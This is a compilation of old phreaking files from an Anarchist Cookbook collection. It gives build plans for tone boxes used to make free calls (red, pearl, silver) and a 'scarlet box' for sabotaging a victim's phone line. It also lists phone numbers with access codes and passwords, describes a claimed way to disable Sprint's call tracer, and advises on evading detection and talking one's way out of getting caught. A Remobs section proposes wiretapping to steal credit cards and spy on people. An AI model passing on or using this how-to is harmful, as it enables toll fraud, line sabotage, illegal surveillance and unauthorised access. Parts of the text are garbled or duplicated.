COMPANY CENTRAL OFFICE LEVEL,NOT AT THE PBX LEVEL.
A SYSTEM OF INTEREST TO LARGE SCALE TELEPHONE USERS IS COMMON CHANNEL INTEROFFICE
SIGNALLING (CCIS).TYPICALLY,THIS TECHNIQUE EMPLOYS COMMON CHANNELS TO
CARRY ALL INTERFACILITY SIGNALLING INSTRUCTIONS: DIAL PULSES,ON HOOK (IDLE),
OFF HOOK (BUSY),AND SO ON,BETWEEN TWO SWITCHING CENTERS. [ GETTING WARM ].
CCIS REPLACES OLDER METHODS OF INTEROFFICE SIGNALLING SUCH AS 'IN BAND' AND
'OUT OF BAND' TECHNIQUES. BY THE WAY,REAL PHREAKS ARE SELLING THEIR BOXES TO
IDIOTS WHO STILL THINK THE'RE WORTH ALOT...THE FORMER (IN BAND) TRANSMITS
SIGNALLING DATA WITHIN THE NORMAL CONVERSATION BANDWIDTH.IT'S SHORTCOMING IS
THAT FALSE INFORMATION MAY BE TRANSMITTED DUE TO UNIQUE TONE OR NOISE
COMBINATIONS SET UP IN THE TALKING PATH. [THIS IS THE OFFICIAL REASONING].
OUT OF BAND SIGNALLING TECHNIQUES PLACED THE INTEROFFICE DATA IN SPECIAL
CHANNELS,GENERALLY ADJACENT TO AND IMMEDIATELY ABOVE THE VOICE PATH.TO PRESERVE
INTERCHANNEL INTEGRITY,OUT OF BAND SIGNALLING REQUIRES VERY EFFECIENT
FILTERING OR GREATER 'BAND GUARD' SEPERATION BETWEEN CHANNELS.
Brought to you in the Cookbook IV courtesy of Exodus!!!!!!!!!!!!
_
Subject: PC-Pursuit Port Statistic's
Date: 06/29/89
Written by: PC-Pursuit Users
============================================================
Introduction:
=============
The last 30 days of PC-Pursuit have been extremely
controversial. Users and ex-users have demanded accurate
statistics, and Telenet has provided us with very little.
And the data that was provided is questionable. Well, here
is some data that is guaranteed to be accurate and make
Telenet scream. If you wish to update this data on your own,
we will tell you how later in this text.
The following chart consists of all the direct Telenet
addresses of the PC-Pursuit city nodes and the total number
of modems on each node. Here is what the data means:
NJNEW/3 2011 .12 56
! ! ! ! \-- Total Number of Modems in NJNEW
! ! ! \- Last Working Suffix of Address sequence.
! ! \- Direct Telenet Address Prefix.
! \--- Baud Rate of This Port is 300.
\--------- Mnemonic.
Please note that there are several perfectly legal ways to
connect to a PC-Pursuit port such as NJNEW/3:
Ways To Connect to NJNEW/3:
1) C D/NJNEW/3,PCP10000, [HUNT]
2) C 2011,PCP10000, [HUNT]
3) C 2011.10,PCP10000, [NON HUNT]
The first, is self explanatory. The second does the same
thing as the first, only that it is slightly faster and gives
the user much greater flexibility. The third is an example
the flexibility, because a request is made to connect to the
tenth, and only the tenth, modem on the NJNEW/3 port.
By simply attempting to connect to every single modem
in the 2011 chain, we were able to count the number of modems
on each port and come up with the following charts which were
extracted on June the twenty ninth of the year 1989:
Rotary Direct Max. City Rotary Direct Max. City
Port Address Range Total Port Address Range Total
-------- ------- --- ----- -------- ------- --- -----
NJNEW/3 2011 .12 56 CAOAK/3 4155 . 4 16
/12 201301 .40 /12 415216 . 8
/24 20122 . 4 /24 41511 . 4
DCWAS/3 202115 . 6 46 CAPAL/3 415106 . 4 12
/12 202116 .24 /12 415224 . 8
/24 202117 .16 /24
CTHAR/3 8 CASFA/3 415215 . 6 20
/12 203120 . 8 /12 415217 .10
/24 /24 41523 . 4
WASEA/3 20617 . 4 30 ORPOR/3 50320 . 2 8
/12 20619 .22 /12 50321 . 6
/24 20621 . 4 /24
NYNYO/3 212315 . 4 22 AZPHO/3 60222 . 4 20
/12 212316 .14 /12 60223 .12
/24 21228 . 4 /24 60226 . 4
CALAN/3 213412 . 8 40 MNMIN/3 612120 . 4 22
/12 213413 .28 /12 612121 .14
/24 21323 . 4 /24 61222 . 4
TXDAL/3 214117 . 6 30 MABOS/3 617311 . 4 32
/12 214118 .22 /12 617313 .20
/24 21422 . 4 /24 61726 . 8
PAPHI/3 215112 . 6 36 TXHOU/3 713113 . 8 42
/12 2155 .22 /12 713114 .24
/24 21522 . 8 /24 71324 .10
OHCLE/3 21620 . 4 26 CACOL/3 71423 . 4 18
/12 21621 .18 /12 7144 .10
/24 216120 . 4 /24 71424 . 4
CODEN/3 303114 . 4 40 CASAN/3 714119 . 4 20
/12 303115 .18 /12 714213 .12
/24 30321 .22 /24 714124 . 4
FLMIA/3 305120 . 6 28 CASDI/3 714102 . 4 22
/12 305121 .18 (619)/12 714210 .14
/24 305122 . 4 /24 714121 . 4
ILCHI/3 312410 . 8 40 UTSLC/3 80120 . 4 22
/12 312411 .28 /12 80121 .14
/24 31224 . 4 /24 80112 . 4
MIDET/3 313214 . 6 30 FLTAM/3 81320 . 4 18
/12 313216 .18 /12 81321 .10
/24 31324 . 6 /24 813124 . 4
MOSLO/3 3145 . 4 16 MOKCI/3 816104 . 4 20
/12 314421 . 8 /12 816221 .12
/24 31420 . 4 /24 816113 . 4
GAATL/3 404113 . 8 32 CAGLE/3 ??
/12 404114 .20 /12 81821 .18
/24 40422 . 4 /24
CASJO/3 408111 . 4 34 CASAC/3 9167 . 4 16
/12 40821 .26 /12 91611 . 8
/24 408110 . 4 /24 91612 . 4
WIMIL/3 41420 . 4 24 NCRTP/3 91920 . 4 20
/12 41421 .16 /12 91921 .12
/24 414120 . 4 /24 919124 . 4
01/29/89 PC-Pursuit Modems Statistics Chart
Number of Modems City
Mnemonic 300 1200 2400 Total
---------- -------- --------- --------- ---------
NJNEW 12 40 4 56
DCWAS 6 24 16 46
CTHAR 0 8 0 8
WASEA 4 22 4 30
NYNYO 4 14 4 22
CALAN 8 28 4 40
TXDAL 6 22 4 32
PAPHI 6 22 8 36
OHCLE 4 18 4 26
CODEN 4 18 22 44
FLMIA 6 18 4 28
ILCHI 8 28 4 40
MIDET 6 18 6 30
MOSLO 4 8 4 16
GAATL 8 20 4 32
CASJO 4 26 4 34
WIMIL 4 16 4 24
CAOAK 4 8 4 16
CAPAL 4 8 0 12
CASFA 6 10 4 20
ORPOR 2 6 0 8
AZPHO 4 12 4 20
MNMIN 4 14 4 22
MABOS 4 20 8 32
TXHOU 8 24 10 42
CACOL 4 10 4 18
CASAN 4 12 4 20
CASDI 4 14 4 22
UTSLC 4 14 4 22
FLTAM 4 10 4 18
MOKCI 4 12 4 20
CAGLE 4 18 4 26
CASAC 4 8 4 16
NCRTP 4 12 4 20
-------- --------- --------- ---------
Total 166 562 170 898
======== ========= ========= =========
Average 4.8823529 16.529412 5 26.411765
NOTE: CASAC/3, CASAC/24 were estimated.
I think the statistics basically speak for themselves.
I am sure there will no doubt be hundreds of people who will
not smile at the number of specific kinds of ports supported,
not to mention the number of 'dead' or 'down' modems you will
find when you verify the totals. Usually, 2% to perhaps 10%
of the modems are 'dead' with specific ones repeatedly
failing week after week.
History Of This Collection:
===========================
Almost a year ago a small selected group of devoted
individuals got together to discuss problems with the PCPursuit
Network, in the middle of our discussions a question
was asked as to how the network really processes our calls.
This was intended to help us assess SET? commands and other
such matters. When the address hypothesis was offered we
quickly set out to prove it. It was proved in about 3
minutes with the discovery of 2011 (First try was xxx1). The
data has continually been collected and analyzed ever since,
but until now, has never been mass released.
A small group of teen age hackers discovered several
interesting things that can be done with these addresses--
many of which will not be discussed here short of mentioning
that these ports connected to via these addresses are not
limited to PC-Pursuiters. You can, however, fight "dead"
dialout modems in cities via the address method. Dead modems
can be located in about 10 seconds (faster than Telenet), and
can either be reported or skipped past by the user connecting
to the next modem in the sequence after the "dead" one.
(Note: Say 2011.3 is dead, connect to 2011.4 and you will be
past it. If 2011.4 is busy, go to 2011.5. The reader should
notice 2011.3 is the same as 2011C.)
The most interesting value of these addresses is that
one can count the number of ports that Telenet keeps so
secret (Grin). When there were only 28 cities in operation
there were an average of 2.7 300 baud, 9.4 1200 baud, and 2.5
2400 baud modems in each city. Some cities had as little as
2 modems on a port and as many as 12. Only recently has the
number of modems per city begun to jump.
How To Update The Count Yourself:
=================================
An ID is not required to "request" one of these ports,
thus the tallying can be done any time of day by simply
typing the number at the @ prompt. Here is an example with
four modems (NJNEW/24):
@20122.1
201 22A REFUSED COLLECT CONNECTION 19 80
@20122.2
201 22B REFUSED COLLECT CONNECTION 19 80
@20122.3
201 22C REFUSED COLLECT CONNECTION 19 80
@20122.4
201 22D REFUSED COLLECT CONNECTION 19 80
@20122.5
201 22E ILLEGAL ADDRESS 19 80
The reader should be aware that PC-Pursuit ports always
respond with '19 80'. Do not confuse it with '19 00', which
are not PC-Pursuit ports. In the above example we know there
are four ports because the forth was the last existing port
before we encountered the 'ILLEGAL ADDRESS.' There are
several ways to signify that you have gone one beyond the end
of the ports:
1) xxx xxx ILLEGAL ADDRESS 19 80
2) xxx xxx NOT OPERATING 19 80
3) The request freezes (Note: Issue a BREAK then D
to abort the attempt yielding 'ATTEMPT ABORTED'.)
You should be aware that modems which are out of order in the
middle of the sequence can respond with 'NOT OPERATING' or
may freeze the request. You should also note that when
updating the existing list, all you need to do is try to
request the next modem beyond the end as of the last check.
Finding Newly Added Ports:
==========================
Many ports have not yet been installed; hence, we do not
yet know the addresses. New ports may be found by entering
the first three digits of the area code and appending (1-29,
101-129, 201-229, 301-329, etc.) until the 'REFUSED COLLECT
CONNECTION 19 80' appears. Once this is found, simply log
onto the port address with your ID and R/V dial some silly
series of digits, disconnect the port, then connect to the
PC-Pursuit mnemonic you think it might be and R/V redial the
last number. If the numbers match, you found it.
_
Pearl Box Plans by the Jolly Roger
The Pearl Box:Definition - This is a box that may substitute for many boxes
which produce tones in hertz. The Pearl Box when operated correctly can
produce tones from 1-9999hz. As you can see, 2600, 1633, 1336 and other
crucial tones are obviously in its sound spectrum.
Materials you will need in order to build The Pearl Box:
========================================================
C1, C2:.5mf or .5uf ceramic disk
capacitors
Q1.....NPN transistor (2N2222 works
best)
S1.....Normally open momentary SPST
switch
S2.....SPST toggle switch
B1.....Standard 9-Volt battery
R1.....Single turn, 50k potentiometer
R2..... " " 100k potentiometer
R3..... " " 500k potentiometer
R4..... " " 1meg potentiometer
SPKR...Standard 8-ohm speaker
T1.....Mini transformer (8-ohm works
best)
Misc...Wire, solder, soldering iron, PC
board or perfboard, box to
contain the completed unit,
battery clip
Instructions for building Pearl Box:
======================================
Since the instruction are EXTREMELY difficult to explain in words, you will
be given a schematic instead. It will be quite difficult to follow but try
it any way.
(Schematic for The Pearl Box)
+---+------------+---------+
! ! \
C1 C2 \
! ! +
+ + -----+T1
!\ +------------+-+
! b c-------! +
! Q1 ! +-S1-
! e-----S2---+ ! SPKR
! ! ! +----
! B1 !
! ! !
! +-------+
!R1 R2 R3 R4!
/\/\ /\/\ /\/\ /\/\
+--+ +--+ +--+
Now that you are probably thoroughly confused, let me explain a few
minor details. The potentiometer area is rigged so that the left pole is
connected to the center pole of the potentiometer next to it.
The middle terminal of T1 is connected to the piece of wire that runs down
to the end of the battery.
Correct operation of The Pearl Box:
===================================
You may want to get some dry-transfer decals at Radio Shack to make this
job a lot easier. Also, some knobs for the tops of the potentiometers
may be useful too. Use the decals to calibrate the knobs. R1 is the knob
for the ones place, R2 is for the tens place, R3 if for the hundreds
place and R4 is for the thousands place. S1 is for producing the all the
tones and S2 is for power.
Step 1: Turn on the power and adjust the knobs for the desired tone.
(Example: For 2600 hz-
R1=0:R2=0:R3=6:R4=2)
Step 2: Hit the pushbutton switch and VIOLA! You have the tone. If
you don't have a tone recheck all connections and schematic.
Exodus
_
The Phreak file courtesy of the Jolly Roger
202 282 3010 UNIV. OF D.C.
202 553 0229 PENTAGON T.A.C.
202 635 5710 CATHOLIC UNIV. OF AMERICA
202 893 0330 DEFENSE DATA NETWORK
202 893 0331 DEFENSE DATA NETWORK
202 965 2900 WATERGATE
203 771 4930 TELEPHONE PIONEERS
206 641 2381 VOICE OF CHESTER
212 526 1111 NEW YORK FEED LINE
212 557 4455 SEX HOT LINE
212 799 5017 ABC NY FEED LINE
212 934 9090 DIAL-AN-IDIOT
212 976 2727 P.D.A.
212 986 1660 STOCK QUOTES
213 541 2462 STOCK MARKET REPORTS
213 547 6801 NAVY SHIPS INFO
213 576 6061 " "
213 664 3321 NEWS FOR THE BLIND
301 393 1000 " "
301 667 4280 LOTTERY INFO
312 939 1600 " "
404 221 5519 NUCLEAR COMMISSION
408 248 8818 1ST NAT'L BANK
415 642 2160 EARTHQUAKE REPCRT
505 883 6828 " "
512 472 2181 " "
512 472 4263 WIERD RECORDING
512 472 9833 " "
512 472 9941 INSERT 25 CENTS
512 472 9941 SPECIAL RECORDING
512 870 2345 " "
516 794 1707 " "
619 748 0002 LOOP LINE
619 748 0003 " "
703 331 0057 MCI (5 DIGITS)
703 334 6831 WASH. POST
703 354 8723 COMPEL INC.
703 737 2051 METROPHONE (6 DIGITS)
703 835 0500 VALNET (5 DIGITS)
703 861 7000 SPRINT (6/8 DIGITS)
703 861 9181 SPRINT (6/8 DIGITS)
714 974 4020 CA. MAINFRAME
716 475 1072 N.Y. DEC-SYSTEM
800 222 0555 RESEARCH INSTITUTE
800 223 3312 CITIBANK
800 227 5576 EASTERN AIRLINES
800 248 0151 WHITE HOUSE PRESS
800 321 1424 FLIGHT PLANES
800 323 3026 TEL-TEC (6 GIGITS)
800 323 4756 MOTOROLA DITELL
800 323 7751 M.C.I. MAINFRAME
800 325 4112 EAsYLINK
800 325 6397 F.Y.I.
800 344 4000 MSG SYSTEM
800 368 6900 SKYLINE ORDER LINE
800 424 9090 RONALD REAGAN'S PRESS
800 424 9096 WHITE HOUSE SWITCH
800 438 9428 ITT CITY CALL SWITCHING
800 521 2255 AUTONET
800 521 8400 TRAVELNET (8 DIGITS)
800 526 3714 RCA MAINFRAME
800 527 1800 TYMNET
800 621 3026 SPECIAL OPERATOR
800 621 3028 " "
800 621 3030 " "
800 621 3035 " "
800 631 1146 VOICE STAT
800 821 2121 BELL TELEMARKETING
800 828 6321 XEROX $
800 858 9313 RECORD-A-VOICE
800 882 1061 AT&T STOCK PRICES
914 997 1277 " "
916 445 2864 JERRY BROWN
N/A 950 1000 SPRINT
N/A 950 1022 MCI EXECUNET
N/A 950 1033 US TELEPHONE
N/A 950 1044 ALLNET (6 DIGITS)
N/A 950 1066 LEXITEL
N/A 950 1088 SKYLINE (6 DIGITS)
-----------------------------------
PHONE # | DESCRIPTION/CODE
-----------------------------------
201-643-2227 | CODES:235199,235022
| AND 121270
|
800-325-4112 | WESTERN UNION
|
800-547-1784 | CODES:101111,350009
| AND 350008
|
800-424-9098 | TOLL FREE WHITE HS.
|
800-424-9099 | DEFENSE HOT LINE
|
202-965-2900 | WATERGATE
|
800-368-5693 | HOWARD BAKER HOTLN
|
202-456-7639 | REAGANS SECRETARY
|
202-545-6706 | PENTAGON
|
202-694-0004 | PENTAGON MODEM
|
201-932-3371 | RUTGERS
|
800-325-2091 | PASSWORD: GAMES
|
800-228-1111 | AMERICAN EXPRESS
|
617-258-8313 | AFTER CONNECT
| PRESS CTRL-C
|
800-323-7751 | PASSWORD:REGISTER
|
800-322-1415 | CODES:266891,411266
| AND 836566
| (USED BY SYSOP)
-----------------------------------
The following 800 #'s have been
collected however no codes have
been found yet! if you hack any
please let me know...
-----------------------------------
phone # | codes:
-----------------------------------
800-321-3344 | ???????????
800-323-3027 | ???????????
800-323-3208 | ???????????
800-323-3209 | ???????????
800-325-7222 | ???????????
800-327-9895 | ???????????
800-327-9136 | ???????????
800-343-1844 | ???????????
800-547-1784 | ???????????
800-547-6754 | ???????????
800-654-8494 | ???????????
800-682-4000 | ???????????
800-858-9000 | ???????????
800 #'s with carriers.
800-323-9007
800-323-9066
800-323-9073
800-321-4600
800-547-1784
1-800 numbers of the goverment.
800-321-1082:NAVY FINANCE CENTER.
800-424-5201:EXPORT IMPORT BANK.
800-523-0677:ALCOHOL TOBACCO AND.
800-532-1556:FED INFORMATION CNTR1-1082:NAVY FINANCE CENTER.
800-424-5201:EXPORT IMPORT BANK.
800-523-0677:ALCOHOL TOBACCO AND.
800-532-1556:FED INFORMATION CNTR.
800-325-4072:COMBAT & ARMS SERVICE.
800-325-4095:COMBAT SUPPORT BRANCH.
800-325-4890:ROPD USAR COMBAT ARMS.
800-432-3960:SOCIAL SECURITY.
800-426-5996:PUGET NAVAL SHIPYARD.
Directory of toll free numbers.
800-432-3960:SOCIAL SECURITY.
800-426-5996:PUGET NAVAL SHIPYARD.
Directory of toll free numbers.
301-234-0100:BALTIMORE ELECTRIC.
202-456-1414:WHITE HOUSE.
202-545-6706:PENTAGON.
202-343-1100:EPA.
714-891-1267:DIAL-A-GEEK.
714-897-5511:TIMELY.
213-571-6523:SATANIC MESSAGES.
213-664-7664:DIAL-A-SONG.
405-843-7396:SYNTHACER MUSIC.
213-765-1000:LIST OF MANY NUMBERS.
512-472-4263:WIERD.
512-472-9941:INSERT 25.
203-771-3930:PIONEERS.
213-254-4914:DIAL-A-ATHIEST.
212-586-0897:DIRTY.
213-840-3971:HOROWIERD
203-771-3930:PIONEERS
471-9420,345-9721,836-8962
836-3298,323-4139,836-5698
471-9440,471-9440,471-6952
476-6040,327-9772,471-9480
800-325-1693,800-325-4113
800-521-8400:VOICE ACTIVATED
213-992-8282:METROFONE ACCESS NUMBER
617-738-5051:PIRATE HARBOR
617-720-3600:TIMECOR #2
301-344-9156:N.A.S.A PASSWORD:GASET
318-233-6289:UNIVERSITY LOUISIANA
213-822-2112:213-822-3356
213-822-1924:213-822 3127
213-449-4040:TECH CENTER
213-937-3580:TELENET
1-800-842-8781
1-800-368-5676
1-800-345-3878
212-331-1433
213-892-7211
213-626-2400
713-237-1822
713-224-6098
713-225-1053
713-224-9417
818-992-8282
1-800-521-8400
After entering the sprint code,and, C+Destination number.Then enter this:
number:"205#977#22",And the main tracer for sprint will be disabled.
215-561-3199/SPRINT LONG DISTANCE
202-456-1414/WHITE HOUSE
011-441-930-4832/QUEEN ELIZABETH
916-445-2864/JERRY BROWN
800-424-9090/RONALD REAGAN'S PRESS
212-799-5017/ABC NEW YORK FEED LINE
800-882-1061/AT & T STOCK PRICES
212-986-1660/STOCK QUOTES
213-935-1111/WIERD EFFECTS!
512-472-4263/WIERD RECORDING
212-976-2727/P.D.A.
619-748-0002/FONE CO. TESTING LINES
900-410-6272/SPACE SHUTTLE COMM.
201-221-6397/AMERICAN TELEPHONE
215-466-6680/BELL OF PENNSYLVANIA
202-347-0999/CHESAPEAKE TELEPHONE
213-829-0111/GENERAL TELEPHONE
808-533-4426/HAWAIIAN TELEPHONE
312-368-8000/ILLINOIS BELL TELEPHONE
317-265-8611/INDIANA BELL
313-223-7233/MICHIGAN BELL
313-223-7223/NEVADA BELL
207-955-1111/NEW ENGLAND TELEPHONE
201-483-3800/NEW JERSEY BELL
212-395-2200/NEW YORK TELEPHONE
515-243-0890/NORTHWESTERN BELL
216-822-6980/OHIO BELL
206-345-2900/PACIFIC NORTHWEST BELL
213-621-4141/PACIFIC TELEPHONE
205-321-2222/SOUTH CENTRAL BELL
404-391-2490/SOUTHERN BELL
203-771-4920/SOUTHERN NEW ENGLAND
314-247-5511/SOUTHWESTERN BELL
414-678-3511/WISCONSIN TELEPHONE
800-327-6713/UNKNOWN ORIGIN
303-232-8555/HP3000
315-423-1313/DEC-10
313-577-0260/WAYNE STATE
512-474-5011/AUSTIN COMPUTERS
516-567-8013/LYRICS TIMESHARING
212-369-5114/RSTS/E
415-327-5220/NEC
713-795-1200/SHELL COMPUTERS
518-471-8111/CNA OF NY
800-327-6761/AUTONET
800-228-1111/VISA CREDIT CHECK
713-483-2700/NASUA
213-383-1115/COSMOS
408-280-1901/TRW
404-885-3460/SEARS CREDIT CHECK
414-289-9988/AARDVARK SOFTWARE
919-852-1482/ANDROMEDA INCORPORATED
213-985-2922/ARTSCI
714-627-9887/ASTAR INTERNATIONAL
415-964-8021/AUTOMATED SIMULATIONS
503-345-3043/AVANT GARDE CREATIONS
415-456-6424/BRODERBUND SOFTWARE
415-658-8141/BUDGE COMPANY
714-755-5392/CAVALIER COMPUTER
801-753-6990/COMPUTER DATA SYSTEMS
213-701-5161/DATASOFT INC.
213-366-7160/DATAMOST
716-442-8960/DYNACOMP
213-346-6783/EDU-WARE
800-631-0856/HAYDEN
919-983-1990/MED SYSTEMS SOFTWARE
312-433-7550/MICRO LAB
206-454-1315/MICROSOFT
301-659-7212/MUSE SOFTWARE
209-683-6858/ON-LINE SYSTEMS
203-661-8799/PROGRAM DESIGN (PDI)
213-344-6599/QUALITY SOFTWARE
303-925-9293/SENTIENT SOFTWARE
702-647-2673/SIERRA SOFTWARE
916-920-1939/SIRIUS SOFTWARE
215-393-2640/SIR-TECH
415-962-8911/SOFTWARE PUBLISHERS
415-964-1353/STRATEGIC SIMULATIONS
217-359-8482/SUBLOGIC COM.
206-226-3216/SYNERGISTIC SOFTWARE
Here are a few tips on how not to get caught when using MCI or other
such services:
1- Try not to use them for voice to voice personal calls. Try to use
them for computer calls only. Here is why: MCI and those other services can't really trace the calls that
come through the lines,they can just monitor them. They can
listen in on your calls and from that,they can get your name and
other information from the conversation. They can also call
the number you called and ask your friend some questions. If
you call terminals and BBS'S then it is much harder to get
information. For one thing,most sysops won't give these dudes
that call any info at all or they will act dumb because they
PHREAK themselves!
2- Beware when using colored boxes! They are easy to find!!!!!
3- Try to find a sine-wave number. Then use an MCI or other service
to call it. You will hear a tone that goes higher and lower. If
the tone just stops,then that code is being monitored and you
should beware when using it.
----------------------------------------
If you do get caught,then if you think you can,try to weasel out of it.
I have heard many stories about people that have pleaded with the MCI
guys and have been let off. You will get a call from a guy that has been
monitoring you. Act nice. Act like you know it is now wrong to do this
kind of thing.....just sound like you are sorry for what you did. (If you
get a call,you probably will be a little sorry!)
Otherwise,it is very dangerous!!!!!!! (Very with a capital V!)
UpDated in '94........ -= Exodus =-
_
Red Box Plans by the Jolly Roger
Red boxing is simulating the tones produced by public payphones when you
drop your money in. The tones are beeps of 2200 Hz + 1700 Hz
Nickle = 1 beep for 66 milliseconds.
Dime = 2 beeps, each 66 milliseconds with a 66 millisecond pause between
beeps.
Quarter = 5 beeps, each 33 milliseconds with a 33 millisecond
pause between beeps.
There are two commonly used methods being used by Phreaks to make free calls.
1. An electronic hand-held device that is made from a pair of Wien-bridge
oscillators with the timing controlled by 555 timing chips.
2. A tape recording of the tones produced by a home computer. One of
the best computers to use would be an Atari ST. It is one of the easier
computers to use because the red box tones can be produced in basic with only
about 5 statments.
-= Exodus =-
_
[__RemObS_________________________] by the Jolly Roger
Some of you may have heard of devices called Remobs which stands
for Remote Observation System. These Devices allow supposedly
authorized telephone employees to dial into them from anywhere, and
then using an ordinary touch tone fone, tap into a customer's line
in a special receive only mode. [The mouthpiece circuit is
deactivated, allowing totally silent observation from any
fone in the world (Wire tapping without a court order is against
the law)]
[__How Remobs Work______________]
Dial the number of a Remob unit. Bell is rumored to put them in the
555 information exchanges, oron special access trunks
[Unreachable except via blue box]. A tone will then be heard
for approximately 2 seconds and then silence. You must key in
(In DTMF) a 2 to 5 digit access code while holding each digit down
at least 1 second. If the code is not entered within 5 or 6 seconds,
the Remob will release and must be dialed again. If the code is
supposedly another tone will be heard. A seven digit subscriber
fone number can then be entered [The Remob can only handle certain
'exchanges' which are prewired, so usually one machine cannot
monitor an entire NPA]. The Remob will then connect to the
subscribers line. The listener will hear the low level idle tone
as long as the monitored party is on hook. As the monitored party
dials [rotary or DTMF], the listener would hear [And Record]
the number being dialed. Then the ENTIRE conversation, datalink,
whatever is taking place, all without detection. There is no
current box which can detect Remob observation, since it is being done
with the telephone equipment that makes the connection. When the
listener is finished monitoring of that particular customer, he keys
the last digit of the access code to disconnects him from the
monitored line and return to the tone so that he can key in another
7 digit fone #. When the listener is totally finished with the Remob,
he keys a single 'disconnect digit' which disconnects him from the
Remob so that the device can reset and be ready for another caller.
[_History of Remobs_______________]
Bell has kept the existance of Remobs very low key. Only in
1974, Bell acknowledged that Remobs existed. The device was
first made public during hearings on "Telephone Monitoring Practices
by Federal Agencies" before a subcommittee on government
operations. House of Representatives, Ninety-Third Congress, June
1974.
It has since been stated by Bell that the Remob devices
are used exclusively for monitoring Bell employees such as operators,
information operators, etc., to keep tabs on their performance.
[Suuureee, were stupid]
[__Possible Uses for Remobs__]
The possible uses of Remobs are almost as endless as the uses
of self created fone line. Imagine the ability to monitor bank lines
etc, just off the top of my head I can think of these applications:
Data Monitoring of:
TRW
National Credit Bureau
AT&T Cosmos
Bank Institutions
Compuserve and other Networks.
Voice Monitoring of:
Bank Institutions
Mail Order buisnesses.
Bell Telephone themselves.
Any place handling sensitive or important information.
Anyone that you may not like.
With just one Remob, someone could get hundreds of credit cards,
find out who was on vacation, get compuserve passwords by the dozens,
disconnect peoples fones, do credit checks, find out about anything
that they may want to find out about. Im sure you brilliant
can see the value of a telephone hobbiest and a telecommunications
enthusist getting his hands on a few choice Remobs.
[_Caution________________________]
If any reader should discover a Remob during his (or her) scanning
excursions, please keep in mind the very strict federal laws
regarding wiretapping and unauthorized use of private Bell property.
-= Exodus =-
_
Scarlet Box Plans by the Jolly Roger
The purpose of a Scarlet box is to create a very bad conection,
it can be used to crash a BBS or just make life miserable for those you
seek to avenge.
Materials: 2 alligator clips, 3 inch wire, or a resister
(plain wire will create greatest amount of static)
(Resister will decrease the amount of static in porportion to
the resister you are using)
Step (1): Find the phone box at your victims house, and pop the cover off.
Step (2): Find the two prongs that the phone line you wish to box are
connected to.
Step (3): Hook your alligator clips to your (wire/resister).
Step (4): Find the lower middle prong and take off all wires connected to
it, i think this disables the ground and call waiting and shit like that.
Step (5): Now take one of the alligator clips and attach it to the upper
most prong, and take the other and attach it to the lower middle prong.
Step (6): Now put the cover back on the box and take off!!
** ######## **
** # #### # **
######## /
# #### # /
######## /
/
/
/
/
/
/
/
**/
**
**
**
**
**
(**)= prongs
**
(/) = (wire/resister)
(##)= some phone bullshit
-= Exodus =-
_
Silver Box Plans by the Jolly Roger
Introduction:
------------
First a bit of Phone Trivia. A standard telephone keypad has 12 buttons.
These buttons, when pushed, produce a combination of two tones. These tones
represent the row and column of the button you are pushing.
1 1 1
2 3 4
0 3 7
9 6 7
697 (1) (2) (3)
770 (4) (5) (6)
851 (7) (8) (9)
941 (*) (0) (#)
So (1) produces a tone of 697+1209, (2) produces a tone of 697+1336, etc.
Function:
--------
What the Silver Box does is just creates another column of buttons,
with the new tone of 1633. These buttons are called A, B, C, and D.
Usefulness:
----------
Anyone who knows anything about phreaking should know that in the
old days of phreaking, phreaks used hardware to have fun instead of other
people's Sprint and MCI codes. The most famous (and useful) was the good
ol' Blue Box. However, Ma Bell decided to fight back and now most phone systems
have protections against tone-emitting boxes. This makes boxing just
about futile in most areas of the United States (ie those areas with Crossbar
or Step-By-Step). If you live in or near a good-sized city, then your phone
system is probably up-to-date (ESS) and this box (and most others)
will be useless. However, if you live in the middle of nowhere (no offense
intended), you may find a use for this and other boxes.
Materials:
---------
1 Foot of Blue Wire
1 Foot of Grey Wire
1 Foot of Brown Wire
1 Small SPDT Switch (*)
1 Standard Ma Bell Phone
(*) SPDT = Single Pole/Double Throw
Tools:
-----
1 Soldering Iron
1 Flat-Tip Screwdriver
Procedure:
---------
(1) Loosen the two screws on the bottom of the phone and take the casinf off.
(2) Loosen the screws on the side of the keypad and remove the keypad from
the mounting bracket.
(3) Remove the plastic cover from the keypad.
(4) Turn the keypad so that *0# is facing you. Turn the keypad over. You'll see
a bunch of wires, contacts, two Black Coils, etc.
(5) Look at the Coil on the left. It will have five (5) Solder Contacts
facing you. Solder the Grey Wire to the fourth Contact Pole from the left.
(6) Solder the other end of the Grey Wire to the Left Pole of the SPDT Switch.
(7) Find the Three (3) Gold-Plated Contacts on the bottom edge of the keypad.
On the Left Contact, gently seperate the two touching Connectors (they're
soldered together) and spread them apart.
(8) Solder the Brown Wire to the Contact farthest from you, and solder the
other end to the Right Pole of the SPDT Switch.
(9) Solder the Blue Wire to the Closest Contact, and the other end to the
Center Pole of the SPDT Switch.››(10) Put the phone back together.
Using The Silver Box:
--------------------
What you have just done was installed a switch that will change
the 369# column into an ABCD column. For example, to dial a 'B', switch
to Silver Box Tones and hit '6'.
Noone is sure of the A, B, and C uses. However, in an area with an
old phone system, the 'D' button has an interesting effect. Dial Directory
Assistance and hold down 'D'. The phone will ring, and you
should get a pulsing tone. If you get a pissed-off operator, you have a
newer phone system with defenses against Silver Boxes.
At the pulsing tone, dial a 6 or 7. These are loop ends.
-= Exodus =-
_
Bell Trashing by the Jolly Roger
The Phone Co. will go to extreams on occasions. In fact, unless
you really know what to expect from them, they will suprise the heck
out of you with their "unpublished tarriffs". Recently, a situation
was brought to my attention that up till then I had been totaly
unaware of, least to mention, had any concern about. It involved garbage!
The phone co. will go as far as to prosecute anyone who rumages
through their garbage and helps himself to some
Of course, they have their reasons for this, and no doubt benefit
from such action. But, why should they be so picky about garbage? The
answer soon became clear to me: those huge metal bins are filled up
with more than waste old food and refuse... Although it is Pacific
Tele. policy to recycle paper waste products, sometimes employees do
overlook this sacred operation when sorting the garbage. Thus
top-secret confidential Phone Co. records go to the garbage bins
instead of the paper shredders. Since it is constantly being updated
with "company memorandums, and supplied with extensive reference
material, the Phone co. must continualy dispose of the outdated
materials. Some phone companies are supplied each year with the
complete "System Practices" guide. This publication is an over 40
foot long library of reference material about everything to do with
telephones. As the new edition arrives each year, the old version of
"System Practices" must also be thrown out.
I very quickly figured out where some local phone phreaks were
getting their material. They crawl into the garbage bins and remove
selected items that are of particular interest to them and their
fellow phreaks. One phone phreak in the Los Angeles area has salvaged
the complete 1972 edition of "Bell System Practices". It is so large
and was out of order (the binders had been removed) that it took him
over a year to sort it out and create enough shelving for it in his
garage.
Much of this "Top Secret" information is so secret that most phone
companies have no idea what is in their files. They have their hands
full simply replacing everything each time a change in wording
requires a new revision. It seems they waste more paper than they can
read!
